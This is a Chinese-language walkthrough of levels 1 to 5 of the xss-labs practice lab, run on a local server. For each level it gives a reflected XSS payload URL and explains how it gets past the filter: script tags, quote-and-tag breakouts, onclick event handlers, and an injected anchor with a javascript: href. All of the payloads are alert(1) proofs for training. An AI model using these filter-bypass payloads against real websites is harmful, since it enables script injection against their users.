level1
payload:
http://127.0.0.1/xss-labs/level1.php?name=<script>alert(1)</script>
level2
payload:
http://127.0.0.1/xss-labs/level2.php?keyword="><script>alert(1)</script>//
查看后台源代码发现htmlspecialchars()函数对变量str进行处理之后显示到网页上。
接下来我们从第二个test处进行构造,但是问题是这里的test在标签属性值中,浏览器是无法执行的,要想浏览器执行这里的弹窗代码,只需要将属性的引号和标签先闭合就可以了。
左边的">去闭合原先的<"
右边的//去注释原先的">
level3
payload:
http://127.0.0.1/xss-labs/level3.php?keyword='>οnclick='javascript:alert(1)'//
首先通过第二关的payload尝试一下
我们发现猜测服务器端在这两处都用 htmlspecialchars() 函数,将特殊符号转换成HTML实体。
这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码
所以我们利用onclick事件执行。
levle4
payload:
http://127.0.0.1/xss-labs/level4.php?keyword=">onclick='javascript:alert(1)'//
我们发现与level3相比,只是单引号和双引号的区别。
level5
payload:
http://127.0.0.1/xss-labs/level5.php?keyword="></input><a href='javascript:alert(1)'>accept</a>//
使用上一关的payload,查看源码发现script过滤了,onclick也过滤了
尝试构造a标签
点击accept即可通过本关
"></input><a href='javascript:alert(1)'>accept</a>//